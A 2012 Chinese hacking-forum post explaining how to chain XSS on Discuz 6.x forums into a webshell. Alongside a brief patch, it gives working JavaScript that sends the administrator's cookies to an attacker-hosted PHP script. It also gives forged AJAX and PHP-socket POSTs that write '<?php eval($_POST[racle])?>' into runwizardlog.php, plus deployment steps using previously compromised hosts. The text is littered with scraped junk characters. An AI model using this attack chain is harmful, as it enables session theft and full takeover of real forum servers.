中国网络渗透测试联盟

标题: Discuz XSS得webshell [打印本页]

作者: admin    时间: 2012-9-13 17:11
标题: Discuz XSS得webshell
Discuz XSS得webshell
1 o+ y7 |" H$ y+ L' t+ i5 ^/ D# OBy racle @tian6.com1 w- R8 O! ?; F  Z. n' I
欢迎转帖.但请保留版权信息., n1 N5 ]6 ^5 b4 C- g% P
受影响版本iscuz<=6.1.0,gbk+utf+big5
2 x; q  w: Q% Z" b0 M% I. X
: h, C/ D4 z; ~& v6 e( n+ j新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
$ Y9 y0 ?( V& B3 V1 x/ \# G% G9 r4 G& T9 k- O$ q( `# Z7 m% p

4 N* J( G; E0 v0 k: ?. ?! P6 U3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706- ~+ N4 @( J8 b/ R) q9 [# d/ `
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
. a, k( w$ z& s% R8 R
3 l& M) K$ Q$ R1 {1 e5 X分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
" ^, |6 d; y0 M8 g' w本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
6 O/ P$ E) m' @9 K2 ~& P4 G) H; p, ^7 b9 x8 ~6 g& q( X# ]

( g, y- a0 l" C- H& ?; \----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
, B3 J; a- S2 X0 s( Q+ v- V: i. @, a7 I
* |' B) c. f1 [$ y/ A* _6 x
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.: E4 t0 }9 t( O* N7 n
8 M/ A" {4 E1 j
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
+ s- s+ `8 O0 h9 u% C$ A* Z" c4 l+ c7 t% n  P
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
- c; [* I: O6 r2 w8 Q$ h" k6 r1 d- Q2 J. w3 R. L

% M: J- }: C9 d1 a1 S$ M$ y2 z下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {/ q2 B' [* y$ |1 g

' W9 Z  h8 D+ c( o0 S/ A1 C6 Y        global $runwizardfile, $runwizardhistory;
8 W/ o$ j$ r( W3 f
4 g  O7 G, c! q) U: N7 ^        $fp = fopen($runwizardfile, 'w');
- J3 `/ S1 @8 V) F, {
3 g, p& D" G$ x( p        fwrite($fp, serialize($runwizardhistory));
4 ?$ k$ x! p! {
. }6 [$ ]0 O& D4 y% S        fclose($fp);. F! v) k" C" p8 C  D
) j/ \* \- E1 a% C
}
& Y( Y. E- d8 C8 j! v8 W7 B4 ?复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.  g9 j3 k  C' Y3 v
以下是修补的办法:function saverunwizardhistory() {
8 I3 y, Y* i) N& \+ l) ^$ \/ O1 A0 r/ Q
        global $runwizardfile, $runwizardhistory;
# D( l" K# a/ @& U& V
) W: j3 A9 i4 l  F5 g4 U        $fp = fopen($runwizardfile, 'w');- v# R2 G3 q4 s8 E3 t6 P6 e& U  }

0 E( n4 }- e9 u% Z        $s = '<?php exit;?>';* s' b- x! K! @9 S' z

9 `- I$ A: G. m% A% q" w        $s .= serialize($runwizardhistory);
6 V0 G6 I4 q- @& r- i1 f7 |" j: C+ f6 x2 g/ F2 A3 N
        fwrite($fp, $s);$ X% V1 r$ W8 m1 H. G( N' e' g1 q3 Z
! S/ Y6 b  g4 y8 m: P
        fclose($fp);/ N$ |6 ?3 I* h9 M2 b( Y, }

' \  |: v4 U: L5 c2 P' H}
3 t9 F8 m6 O4 \9 K( a复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行." b+ @) R; p  C! I& Q
+ C, f2 A, t: o2 y' W$ w6 |
! D* Q, e4 F6 J5 S0 d
* ^( \. j: r% y1 E! v( x
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------9 I( b, x8 C2 v
" W, I& P, [# Q/ w0 S7 z3 ]

, A7 S% G& Y" E' ?  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.) b+ {4 [, x, u/ ~% ^$ T

/ H" m/ E/ T" m+ P我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.9 x% K" i, h0 N$ g

# h0 d' m; ?' g5 w' u. x& t这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
/ g5 k6 _/ p' J* E$ ^8 K
/ \) O- {' l; S8 J7 L- \3 E- t首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
. R1 n0 j& C4 j- t: |' U( m0 s
2 j3 }5 g4 ]1 f, bvar url="http://目标网站/admincp.php";      
1 w" y5 X8 f/ X" g; p/ }. F/ p/ p1 M6 R1 T
/*获得cookies*/
/ V7 C1 F: \. {* R( N7 s) y! U; C- ^2 O
function getURL(s) {
0 L: v+ S! [/ B9 G4 y9 y- e+ b6 o+ F# \3 d3 u+ S
var image = new Image();/ q" p9 X, |5 i* z( d% N7 q  D( d

: x8 Q! x' \4 y4 oimage.style.width = 0;
; ~5 K7 Z0 a4 e2 O
0 z+ u0 O+ g5 j. [* l4 K# Nimage.style.height = 0;
: [2 Y% X( ]. f! |5 r6 v, E/ f- ?
image.src = s;
: ?' N4 `* a$ l! s/ Y8 ?3 J7 Q% `+ j5 {6 H+ k
}  ?: x5 C8 B0 ?% w
/ m* @" S, z% b7 \7 ^: q3 L' e
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
: K+ Z5 v) k: Z- ^* ]. `- h- Q复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];2 L, |$ _) Z. v& ~' H, o6 @, o  e  t
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
& }" ~# m1 B8 q5 S1 f% z( d! t' w% l5 w/ q) z$ k7 a/ I
6 t4 e5 r2 S% }+ w3 d- f
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
- K2 o2 M' j% M( P
+ J: Z0 {* O+ V4 y# r4 E$ G. t8 o1 n* y; S0 l

, K. J5 A6 e0 }5 B. s0 d; X/*hash*/
, E7 B5 z( I! _# A% ^( E- u* P% l  P
* u5 T, V5 H! H" c8 T. ^; Y5 V! evar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
8 n0 `' X4 Z3 g) K! n5 n1 L" f! C  w" t& A2 h( j
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
2 z6 s$ x8 l; h! V- w0 B4 x0 n" v& Y7 _4 p! l6 F0 D; T, {/ S
xmlHttpReq.send();
/ W# w) ~: \3 i. Q3 z/ V! Q
, ?- l3 s$ o/ h# ^" w  T+ x" hvar resource = xmlHttpReq.responseText;; O" a  c, I( I1 `$ G/ H; l

% M- R% Y3 o4 f- C: ^$ c2 U; E0 _var numero = resource.search(/formhash/);& c1 i! F5 i, y' }7 t
+ ]& A' X- m& }0 b
var formhash=encodeURIComponent(resource.substr(numero+17,8));
5 Y$ L  i% K+ X  L9 K; l! P
, @, l3 q; }& n7 i* g- B, M. g% X% i5 `2 c  S  Y6 v6 j
' e8 a: }( F/ W0 l. D8 @8 D
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
3 S8 T9 F+ N5 r! h
! x8 P" B9 d& |/ ^6 t$ gxmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 * C! k" x% u8 ~

5 t: }3 U2 Y) q! d" u2 O) wxmlHttpReq.setRequestHeader("Referer", url);
. b/ ]9 X" c1 U6 d
4 r3 I! T; I3 ^; A. Z. hxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");6 V# o# K( l8 l2 j/ }& D: A; i1 z

$ e3 S' _- W3 ~$ ~. uxmlHttpReq.setrequestheader("content-length",post.length);
9 K$ F% c" V: O: C- R+ K
4 v) d% A4 n; C$ [) LxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
4 u0 x4 o0 R5 s$ t( F" ]4 g+ _
2 G( Z* E0 `" P- O  zxmlHttpReq.send(post);//发送数据$ G  g3 D* Z( o% d
复制代码这里HASH我假设正确,这样提交,也无须cookies
& R4 m6 L9 \, |* D! S  w* S* a$ I- V5 H2 b6 O% Q
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
/ K0 w! n8 K" ^" }; U% h" \4 T; }% b; X
if (!$sock) die("$errstr ($errno)\n");
7 w7 D1 |' ~8 B4 U
& Q. D3 E$ h) B$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';
$ K' b3 Y; h" v- Q. S) w
4 v; {- @3 [/ i2 k$ I8 ^! G
- n4 i; Y7 n6 F, S/ S2 A/ i- ~$ F
$ z+ q* ]* k7 n; H- Gfwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
9 m9 g1 v) M; G) I( t  O
6 D7 }# A, S% J/ Kfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
. o. W% P- E0 E9 ~* D
. ~, X; }$ r5 j* G! k* x6 m; G$ C, N+ Jfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
5 I( \: l$ ]0 P( M- c, `4 F8 O( Q: J( l
fwrite($sock, "Accept-Language: zh-cn\r\n");# ^( c5 @& N4 @& W9 o/ _
( ^+ Q& _6 e) S( Z! j  ^
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");  g& h& f7 [) r7 J! P

4 n/ u' T+ H' l' Kfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");7 Y' w7 w# x* ?6 B& ]$ R

& B( @1 j# g' Kfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
, g2 r- M3 g/ ]; `( \6 A* u3 @$ T, F# m
fwrite($sock, "Host: $url\r\n");
. X+ `7 s4 @9 |; l/ G' ?" h% n+ P1 B5 K. A
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
! o4 o$ i, x/ c
; \* T5 G0 }' Z4 H# d  W( Ofwrite($sock, "Connection: Keep-Alive\r\n");
0 A* K! U! K: e2 B/ m4 m
. I3 |; P& I- ?fwrite($sock, "Cache-Control: no-cache\r\n");  s2 k7 z0 `& o$ ?

' d6 X3 T. ?/ ]7 Cfwrite($sock, "Cookie:".$cookies."\r\n\r\n");
) q2 y, ^- S) i; F
/ t. L/ o% E- j3 ]# ufwrite($sock, $data);. i! y3 Q1 ?4 D% n3 j

" S7 ]& d# h+ b4 e+ ^# u+ |
0 ]$ W/ Q/ X& O! Y" P# x+ G
1 b: i) l8 `( g0 R, _$headers = "";
6 n2 A: h4 N* \: X5 X
6 I" c' R$ K4 o; l+ Mwhile ($str = trim(fgets($sock, 4096)))
$ ?& a2 p& V) Y* l8 m
- M1 ^9 w+ M7 ]- W' v+ G! j     $headers .= "$str\n";; d8 ?3 `3 I3 U

/ }; u8 ~/ Q. G0 eecho "\n";4 d; r$ h: `+ `4 z6 u

9 }) t1 L/ S1 p  M, Z0 X7 z$body = "";
. T( E% D; m$ ?' @3 t, w: E1 X4 y( u  Z  B
while (!feof($sock))
+ m# E6 |; L+ j1 A+ g
! G# [1 w* {2 t     $body .= fgets($sock, 4096);
6 F4 O% A! H! i" _1 U
# q% k% E# L  N+ A5 y- E  b( ~6 efclose($sock);
9 N: A8 x4 P8 @; a3 {9 F1 Q7 V  Y7 `9 ~+ u! ~
echo $body;
( d6 j9 N( M' y: O复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
  g0 C+ n' |- k$ ~
* ^* _: Z- o+ f& Q& z
& @# j6 I+ a; H- Z2 }+ h5 F9 ?/ U-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------5 I; P% C6 k1 d+ c  I

7 u. V/ p4 ~) a0 c+ R: M
  P6 u& U8 A/ S& g1HP SOCKET利用方法首先打开racle.js
! e9 O* n; m" c; b0 \9 E; J8 e3 v$ a
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home9 v+ V; ~8 ?: A0 [* {  N, f

+ I3 ^% g3 `6 z/ R5 b* ]1 d# A4 [) ?3 \3 S( o9 C
2 j# [( |! z8 p  h6 {
然后打开racle@tian6.php
* j* `0 J  G: _3 i" e
( Z" g, [3 M9 `" a! E$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com
; o, d: z4 [, F; h7 t' }7 ~" d3 K8 l3 d+ n3 {2 ], U
: W8 n$ f8 |- V7 V( G
6 I& ^# L. i8 ^# t* h
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:% ]2 g. Y' q7 x5 D6 g
- }% M# `2 R6 a8 J" M' b; o& U
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));& @7 c6 i: A- p) H! b7 t

+ N  ~; h+ `/ |6 \
: t$ `3 D; s9 c4 {, Q' d6 n+ G* G
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));6 J, {! m& y3 i
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
  j* V. Q/ p! Q
& \- f3 D- B% Q, S. i
; L  [8 \' ?1 P
5 s; p3 k0 _1 F" n* K$ Y" W& a如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
% {  p; ~; t8 [) Z# R) Z) F. f" F+ s4 V% |# L
var formhash=encodeURIComponent(resource.substr(numero+17,8));
. b9 o$ k. x1 N- _+ D* }0 ?
, E5 c8 V8 K7 o2 B6 M8 y2 |
' r3 H( I7 @0 l- C" _/ Y% T; t) U$ A5 d+ V% e
var formhash=encodeURIComponent(resource.substr(numero+9,8));$ Q; }8 R1 S! N
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
7 Z! ]" w$ E- b* O2 R- T4 c6 @4 |6 r$ W2 C9 L$ I
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.  _- h8 O" O+ z1 {$ t7 e" o

- t' g8 B) M% h如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.5 ~0 c$ _! [: u: O1 s1 p+ s/ j. C
! c0 w. }8 m5 v! l5 a" `5 f
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
7 u3 F3 L6 ]5 Y3 k, r; C . q0 g" t+ l/ P- ^





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2